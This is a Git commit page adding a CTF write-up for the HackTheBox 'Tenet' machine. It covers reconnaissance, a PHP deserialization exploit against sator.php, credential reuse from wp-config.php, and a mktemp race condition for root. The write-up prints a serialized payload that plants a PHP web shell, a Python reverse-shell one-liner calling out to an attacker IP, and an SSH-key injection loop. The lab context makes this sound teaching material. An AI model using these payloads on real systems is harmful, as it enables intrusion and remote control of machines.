mirror of
https://github.com/AbdullahRizwan101/CTF-Writeups
synced 2024-11-21 19:43:03 +00:00
Add files via upload
This commit is contained in:
ARZ
GitHub
parent
40a181b305
commit
fb22833d56
1 changed files with 290 additions and 0 deletions
290
HackTheBox/Tenet.md
Normal file
290
HackTheBox/Tenet.md
Normal file
|
|
@ -0,0 +1,290 @@
|
|||
# HackTheBox-Tenet
|
||||
|
||||
## Rustscan
|
||||
|
||||
```bash
|
||||
rustscan -a 10.10.10.223 -- -A -sC -sV
|
||||
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
|
||||
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
|
||||
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
|
||||
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
|
||||
The Modern Day Port Scanner.
|
||||
________________________________________
|
||||
: https://discord.gg/GFrQsGy :
|
||||
: https://github.com/RustScan/RustScan :
|
||||
--------------------------------------
|
||||
Nmap? More like slowmap.🐢
|
||||
[~] The config file is expected to be at "/root/.rustscan.toml"
|
||||
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
|
||||
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
|
||||
Open 10.10.10.223:22
|
||||
Open 10.10.10.223:80
|
||||
|
||||
PORT STATE SERVICE REASON VERSION
|
||||
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
|
||||
| ssh-hostkey:
|
||||
| 2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
|
||||
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDA4SymrtoAxhSnm6gIUPFcp1VhjoVue64X4LIvoYolM5BQPblUj2aezdd9aRI227jVzfkOD4Kg3OW2yT5uxFljn7q/Mh5/muGvUNA+nNO6pC
|
||||
C0tZPoPEwMT+QvR3XyQXxbP6povh4GISBySLw/DFQoG3A2t80Giyq5Q7P+1LH1f/m63DyiNXOPS8fNBPz59BDEgC9jJ5Lu2DTu8ko1xE/85MLYyBKRSFHEkqagRXIYUwVQASHgo3OoJ+VAcBTJZH
|
||||
1TmXDc4c6W0hIPpQW5dyvj3tdjKjlIkw6dH2at9NL3gnTP5xnsoiOu0dyofm2L5fvBpzvOzUnQ2rps2wANTZwZ
|
||||
| 256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
|
||||
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLMM1BQpjspHo9teJwTFZntx+nxj8D51/Nu0nI3atUpyPg/bXlNYi26boH8zYTrC6fWepgaG2G
|
||||
ZigAqxN4yuwgo=
|
||||
| 256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
|
||||
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMQeNqzXOE6aVR3ulHIyB8EGf1ZaUSCNuou5+cgmNXvt
|
||||
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
|
||||
| http-methods:
|
||||
|_ Supported Methods: POST OPTIONS HEAD GET
|
||||
|_http-server-header: Apache/2.4.29 (Ubuntu)
|
||||
|_http-title: Apache2 Ubuntu Default Page: It works
|
||||
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
|
||||
```
|
||||
|
||||
## PORT 80 (HTTP)
|
||||
|
||||
Visting the web page it shows default apache web page
|
||||
|
||||
<img src="https://imgur.com/1BwN4Vw.png"/>
|
||||
|
||||
Running `dirsearch`
|
||||
|
||||
<img src="https://imgur.com/A8dchV2.png"/>
|
||||
|
||||
Now this doesn't loads css so looking at the source it shows the there's a domain
|
||||
|
||||
`tenet.htb`
|
||||
|
||||
<img src="https://imgur.com/9bNBTYF.png"/>
|
||||
|
||||
Adding this to `/etc/hosts` file
|
||||
|
||||
<img src="https://imgur.com/CNaC6lG.png"/>
|
||||
|
||||
We can see some posts on the main page
|
||||
|
||||
<img src="https://imgur.com/ulTFVaT.png"/>
|
||||
|
||||
```python
|
||||
We’re looking for beta testers of our new time-management software, ‘Rotas’
|
||||
|
||||
‘Rotas’ will hopefully be coming to market late 2021, pending rigorous QA from our developers, and you!
|
||||
|
||||
For more information regarding opting-in, watch this space.
|
||||
|
||||
Published December 16, 2020 By [protagonist]
|
||||
```
|
||||
|
||||
```python
|
||||
We’re moving our data over from a flat file structure to something a bit more substantial. Please bear with us whilst we get one of our devs on the migration, which shouldn’t take too long.
|
||||
|
||||
Thank you for your patience
|
||||
|
||||
Published December 16, 2020 By [protagonist]
|
||||
```
|
||||
|
||||
This post had a comment
|
||||
|
||||
```python
|
||||
[neil]
|
||||
|
||||
[December 16, 2020 at 2:53 pm]
|
||||
|
||||
did you remove the sator php file and the backup?? the migration program is incomplete! why would you do this?!
|
||||
```
|
||||
|
||||
So we have some information that there are two users neil and protagonist also there's a php file and backup folder
|
||||
|
||||
We could have alternatively done this through `wpscan`
|
||||
|
||||
<img src="https://imgur.com/TzKJB9m.png"/>
|
||||
|
||||
<img src="https://imgur.com/ybgIadt.png"/>
|
||||
|
||||
I tried bruteforcing through wpscan but it didn't found any password
|
||||
|
||||
<img src="https://imgur.com/0l3BEjI.png"/>
|
||||
|
||||
|
||||
Going back to that apache default page I tried to include `sator.php` and got something
|
||||
|
||||
<img src="https://imgur.com/fQuryJK.png"/>
|
||||
|
||||
If we focus on the comment which was made on the post "the sator php file and the backup"
|
||||
|
||||
<img src="https://imgur.com/cAQhHjp.png"/>
|
||||
|
||||
We will get a backup file for `staor.php`
|
||||
|
||||
```php
|
||||
<?php
|
||||
|
||||
class DatabaseExport
|
||||
{
|
||||
public $user_file = 'users.txt';
|
||||
public $data = '';
|
||||
|
||||
public function update_db()
|
||||
{
|
||||
echo '[+] Grabbing users from text file <br>';
|
||||
$this-> data = 'Success';
|
||||
}
|
||||
|
||||
|
||||
public function __destruct()
|
||||
{
|
||||
file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
|
||||
echo '[] Database updated <br>';
|
||||
// echo 'Gotta get this working properly...';
|
||||
}
|
||||
}
|
||||
|
||||
$input = $_GET['arepo'] ?? '';
|
||||
$databaseupdate = unserialize($input);
|
||||
|
||||
$app = new DatabaseExport;
|
||||
$app -> update_db();
|
||||
|
||||
|
||||
?>
|
||||
|
||||
```
|
||||
|
||||
|
||||
## PHP Deserlization attack
|
||||
|
||||
We can see here that there's a class `DatabaseExport` in which there are two public variables `user_file` and `data` and in this class there's a public function called `update_db()` which will set the `data` variable to "sucess" which is just a text as you can see from the sator.php show on the web browser at the end there's a magic function `__destruct()` which will be automatcially called when an object is destroyed , there the `user_file` will be made with the contents from `data` and will put in the web directory which means users.txt will be created in the web directory having the data "success".
|
||||
|
||||
At the end we can the `GET` parameter `arepo` , now here exists a vulnerability which is known as** PHP Deserilization**
|
||||
|
||||
So to exploit this we have to modify the class variables in this case `user_file` and `data` and seriliaze it , once we get the serliazed string we pass it to `arepo` paramter.
|
||||
|
||||
<img src="https://imgur.com/xzxCRzb.png"/>
|
||||
|
||||
After running it we will get a php serialized object
|
||||
|
||||
<img src="https://imgur.com/Ocvi0RZ.png"/>
|
||||
|
||||
But we need to pass this to GET paramter in a url encoded form so I used cyberchef to do that
|
||||
|
||||
<img src="https://imgur.com/I7LmXV9.png"/>
|
||||
|
||||
And then paste into the GET parameter
|
||||
|
||||
```bash
|
||||
http://10.10.10.223/sator.php?arepo=O:14:%22DatabaseExport%22:2:%7Bs:9:%22user_file%22;s:9:%22shell.php%22;s:4:%22data%22;s:29:%22%3C?php%20system($_GET%5B%22cmd%22%5D);?%3E%22;%7D
|
||||
```
|
||||
|
||||
<img src="https://imgur.com/ki71f7v.png"/>
|
||||
|
||||
We can see the message "Database updated" so let's see if `shell.php` was made on the web directory or not.
|
||||
|
||||
<img src="https://imgur.com/sPf3gtb.png"/>
|
||||
|
||||
<img src="https://imgur.com/4Dhsv2O.png"/>
|
||||
|
||||
And we have a rce, cool !
|
||||
|
||||
<img src="https://imgur.com/RoxtkbY.png"/>
|
||||
|
||||
Python3 is installed so we can get a reverse shell through it
|
||||
|
||||
```bash
|
||||
http://10.10.10.223/shell.php?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.198",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
|
||||
```
|
||||
|
||||
<img src="https://imgur.com/FcVsPg7.png"/>
|
||||
|
||||
Stabilize the shell
|
||||
|
||||
<img src="https://imgur.com/BYOLfZh.png"/>
|
||||
|
||||
Let's check the cron jobs
|
||||
|
||||
<img src="https://imgur.com/lIXXkhj.png"/>
|
||||
|
||||
Open ports
|
||||
|
||||
<img src="https://imgur.com/zvjHcgZ.png"/>
|
||||
|
||||
## Escalating to user
|
||||
|
||||
We see mysql running on localhost so we can try to find creds for mysql and since wordpress is hosted the creds are in `wp-config.php` file
|
||||
|
||||
<img src="https://i.imgur.com/15rWkzs.png"/>
|
||||
|
||||
<img src="https://i.imgur.com/eARb5sw.png"/>
|
||||
|
||||
```bash
|
||||
/** MySQL database username */
|
||||
define( 'DB_USER', 'neil' );
|
||||
/** MySQL database password */
|
||||
define( 'DB_PASSWORD', 'Opera2112' );
|
||||
|
||||
/** MySQL hostname */
|
||||
define( 'DB_HOST', 'localhost' );
|
||||
|
||||
```
|
||||
|
||||
The db user is `neil` so this is interesting as neil is also the user on the linux machine so let's try this password
|
||||
|
||||
<img src="https://imgur.com/OmukzXa.png"/>
|
||||
|
||||
## Privilege Escalation
|
||||
|
||||
Doing `sudo -l` we can see what we run as sudo
|
||||
|
||||
<img src="https://imgur.com/SMnKeWi.png"/>
|
||||
|
||||
Reading the contents of the bash script
|
||||
|
||||
<img src="https://imgur.com/d9GYJuC.png"/>
|
||||
|
||||
Here these functions are not that interesting , if we go to the bottom
|
||||
|
||||
<img src="https://imgur.com/PHw2PuG.png"/>
|
||||
|
||||
We can see a function `addkey()` in which a temporary file is being made with command `mktemp`
|
||||
|
||||
<img src="https://imgur.com/FeDoFlb.png"/>
|
||||
|
||||
If we run this command on our local machine to see what file name it generates we can see that the file name it's pretty unique everytime this command runs
|
||||
|
||||
<img src="https://imgur.com/i58Yvuk.png"/>
|
||||
|
||||
On the target machine it also generates a random name
|
||||
|
||||
<img src="https://imgur.com/P0CcQis.png"/>
|
||||
|
||||
|
||||
In the script that file is being removed but that's the file need to put in our ssh public key so we need to run a loop in which we try to put our public key in every file that starts with `ssh` so we have to utilize wildcard here ( * )
|
||||
|
||||
|
||||
So our one liner script should look like this
|
||||
|
||||
```bash
|
||||
while true; do var=$(ls /tmp |grep ssh);echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCzKK/Hru6t4lA0tu4CX8E3BzkM8Bl7cFxyheVBHZS+flyqq
|
||||
/sZuRfPHCQE2LNL5IgRfHDljFO4MuiYJgrMr8jCA+stDBxGAhCiRZ4UmZ7OYn1abGGOmtUyaCYvJp3pizvcyVIJsNBQBSk1JETfopgKCydtXfbXYF8kukjM29AVbIoD99UAmo8Qm1RDv+cguO+0q
|
||||
Tg1vHMErURIyM/P3fhNakGL2F1/rENpvqB7EK06N6KYLujCf9Y87slTCU33gHoo5iG5mX5JFi2pBhWJnOQECjaeEsTjvKKvgIX7wy14b3I4b7fLstsXg69CCE9KF5Zr1uWYP0JGG1pB0OrDH4LPj
|
||||
MRxDALCKMnA4F8OrSmTzfgWJ9LhxxFHh73ExsfGJYypBuSOxh+4UBSuF5znPbJo315Qd05LEcpCAv623vqjsUDQUEMeJVz0NiWkGCuJIxt+YTGinB9hDj58seHsI4yMZe5HtY5cQJLR09/fVoGPi
|
||||
ebD/lFk68jQFonJs73NlPE= root@kali' | tee $var ;done
|
||||
```
|
||||
|
||||
We are running a while loop infinite number of times and in there we have a variable which is grabbing the name of the random generated ssh file , next we are printing our public ssh key and piping it to that file and logging it with the help of `tee`
|
||||
|
||||
So first I will run the `enableSSH` script
|
||||
|
||||
<img src="https://imgur.com/eBO3wUh.png"/>
|
||||
|
||||
Then will run my one liner bash script
|
||||
|
||||
<img src="https://imgur.com/D1QqNcr.png"/>
|
||||
|
||||
<img src="https://imgur.com/7GYp5XO.png"/>
|
||||
|
||||
After running it for some time and terminated both the scripts and in the `/tmp` folder you will see those randomly generated ssh file , some of them will have no content as the temp file gets deleted.
|
||||
|
||||
<img src='https://imgur.com/xmwmftp.png'/>
|
||||
|
||||
Try to ssh in the target machine using ssh private key
|
||||
|
||||
<img src="https://imgur.com/LEojPH6.png"/>
|
||||
Loading…
Reference in a new issue